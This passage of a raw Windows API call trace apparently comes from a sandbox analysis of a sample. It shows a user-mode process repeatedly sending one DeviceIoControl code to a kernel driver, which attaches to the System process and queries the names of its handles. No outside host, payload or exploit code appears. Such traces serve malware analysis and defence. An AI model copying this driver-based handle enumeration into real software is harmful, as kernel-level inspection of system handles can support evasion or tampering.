Object=0xfffffa80025eb4e0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.682] ObfDereferenceObject (Object=0xfffffa80025eb4e0) returned 0x2 [0119.682] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.683] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.683] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.683] PsAcquireProcessExitSynchronization () returned 0x0 [0119.683] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.683] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019d7730, HandleInformation=0x0) returned 0x0 [0119.683] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.683] PsReleaseProcessExitSynchronization () returned 0x2 [0119.683] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.683] ObQueryNameString (in: Object=0xfffffa80019d7730, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.683] ObfDereferenceObject (Object=0xfffffa80019d7730) returned 0x2 [0119.683] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.683] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.683] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.683] PsAcquireProcessExitSynchronization () returned 0x0 [0119.683] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.683] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032f6cf0, HandleInformation=0x0) returned 0x0 [0119.683] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.683] PsReleaseProcessExitSynchronization () returned 0x2 [0119.683] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.683] ObQueryNameString (in: Object=0xfffffa80032f6cf0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.683] ObfDereferenceObject (Object=0xfffffa80032f6cf0) returned 0x2 [0119.683] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.683] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.683] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.683] PsAcquireProcessExitSynchronization () returned 0x0 [0119.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.684] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024d5d10, HandleInformation=0x0) returned 0x0 [0119.684] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.684] PsReleaseProcessExitSynchronization () returned 0x2 [0119.684] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.684] ObQueryNameString (in: Object=0xfffffa80024d5d10, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.684] ObfDereferenceObject (Object=0xfffffa80024d5d10) returned 0x2 [0119.684] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.684] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.684] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.684] PsAcquireProcessExitSynchronization () returned 0x0 [0119.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.684] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c3a350, HandleInformation=0x0) returned 0x0 [0119.684] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.684] PsReleaseProcessExitSynchronization () returned 0x2 [0119.684] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.684] ObQueryNameString (in: Object=0xfffffa8003c3a350, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.684] ObfDereferenceObject (Object=0xfffffa8003c3a350) returned 0x2 [0119.684] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.684] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.684] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.684] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.684] PsAcquireProcessExitSynchronization () returned 0x0 [0119.684] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.684] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037f3820, HandleInformation=0x0) returned 0x0 [0119.684] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.684] PsReleaseProcessExitSynchronization () returned 0x2 [0119.684] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.684] ObQueryNameString (in: Object=0xfffffa80037f3820, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.685] ObfDereferenceObject (Object=0xfffffa80037f3820) returned 0x2 [0119.685] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.685] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.685] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.685] PsAcquireProcessExitSynchronization () returned 0x0 [0119.685] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.685] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037f19f0, HandleInformation=0x0) returned 0x0 [0119.685] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.685] PsReleaseProcessExitSynchronization () returned 0x2 [0119.685] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.685] ObQueryNameString (in: Object=0xfffffa80037f19f0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.685] ObfDereferenceObject (Object=0xfffffa80037f19f0) returned 0x2 [0119.685] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.685] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.685] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.685] PsAcquireProcessExitSynchronization () returned 0x0 [0119.685] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.685] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80033f3bf0, HandleInformation=0x0) returned 0x0 [0119.685] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.685] PsReleaseProcessExitSynchronization () returned 0x2 [0119.685] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.685] ObQueryNameString (in: Object=0xfffffa80033f3bf0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.685] ObfDereferenceObject (Object=0xfffffa80033f3bf0) returned 0x2 [0119.685] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.685] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.686] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.686] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.686] PsAcquireProcessExitSynchronization () returned 0x0 [0119.686] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.686] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037f2f20, HandleInformation=0x0) returned 0x0 [0119.686] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.686] PsReleaseProcessExitSynchronization () returned 0x2 [0119.686] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.686] ObQueryNameString (in: Object=0xfffffa80037f2f20, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.686] ObfDereferenceObject (Object=0xfffffa80037f2f20) returned 0x2 [0119.686] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.686] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.686] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.686] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.686] PsAcquireProcessExitSynchronization () returned 0x0 [0119.686] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.686] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001eeeac0, HandleInformation=0x0) returned 0x0 [0119.686] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.686] PsReleaseProcessExitSynchronization () returned 0x2 [0119.686] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.686] ObQueryNameString (in: Object=0xfffffa8001eeeac0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.686] ObfDereferenceObject (Object=0xfffffa8001eeeac0) returned 0x2 [0119.686] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.686] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.686] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.686] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.686] PsAcquireProcessExitSynchronization () returned 0x0 [0119.686] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.686] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800f9bff20, HandleInformation=0x0) returned 0x0 [0119.686] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.686] PsReleaseProcessExitSynchronization () returned 0x2 [0119.686] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.686] ObQueryNameString (in: Object=0xfffffa800f9bff20, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.686] ObfDereferenceObject (Object=0xfffffa800f9bff20) returned 0x2 [0119.687] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.687] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.687] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.687] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.687] PsAcquireProcessExitSynchronization () returned 0x0 [0119.687] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.687] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037f3460, HandleInformation=0x0) returned 0x0 [0119.687] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.687] PsReleaseProcessExitSynchronization () returned 0x2 [0119.687] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.687] ObQueryNameString (in: Object=0xfffffa80037f3460, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.687] ObfDereferenceObject (Object=0xfffffa80037f3460) returned 0x2 [0119.687] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.687] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.687] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.687] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.687] PsAcquireProcessExitSynchronization () returned 0x0 [0119.687] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.687] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038537e0, HandleInformation=0x0) returned 0x0 [0119.687] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.687] PsReleaseProcessExitSynchronization () returned 0x2 [0119.687] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.687] ObQueryNameString (in: Object=0xfffffa80038537e0, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.687] ObfDereferenceObject (Object=0xfffffa80038537e0) returned 0x2 [0119.687] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.687] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.687] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.687] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.687] PsAcquireProcessExitSynchronization () returned 0x0 [0119.687] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.687] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002401f20, HandleInformation=0x0) returned 0x0 [0119.687] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.688] PsReleaseProcessExitSynchronization () returned 0x2 [0119.688] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.688] ObQueryNameString (in: Object=0xfffffa8002401f20, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.688] ObfDereferenceObject (Object=0xfffffa8002401f20) returned 0x2 [0119.688] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.688] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.688] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.688] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.688] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.688] PsAcquireProcessExitSynchronization () returned 0x0 [0119.688] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.688] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800250a420, HandleInformation=0x0) returned 0x0 [0119.688] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.688] PsReleaseProcessExitSynchronization () returned 0x2 [0119.688] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.688] ObQueryNameString (in: Object=0xfffffa800250a420, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.688] ObfDereferenceObject (Object=0xfffffa800250a420) returned 0x2 [0119.688] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.688] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.688] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.688] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.688] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.688] PsAcquireProcessExitSynchronization () returned 0x0 [0119.688] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.688] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021b1930, HandleInformation=0x0) returned 0x0 [0119.688] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.688] PsReleaseProcessExitSynchronization () returned 0x2 [0119.688] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.688] ObQueryNameString (in: Object=0xfffffa80021b1930, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.688] ObfDereferenceObject (Object=0xfffffa80021b1930) returned 0x2 [0119.688] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.688] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.688] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.688] DeviceIoControl (in: hDevice=0x7c, 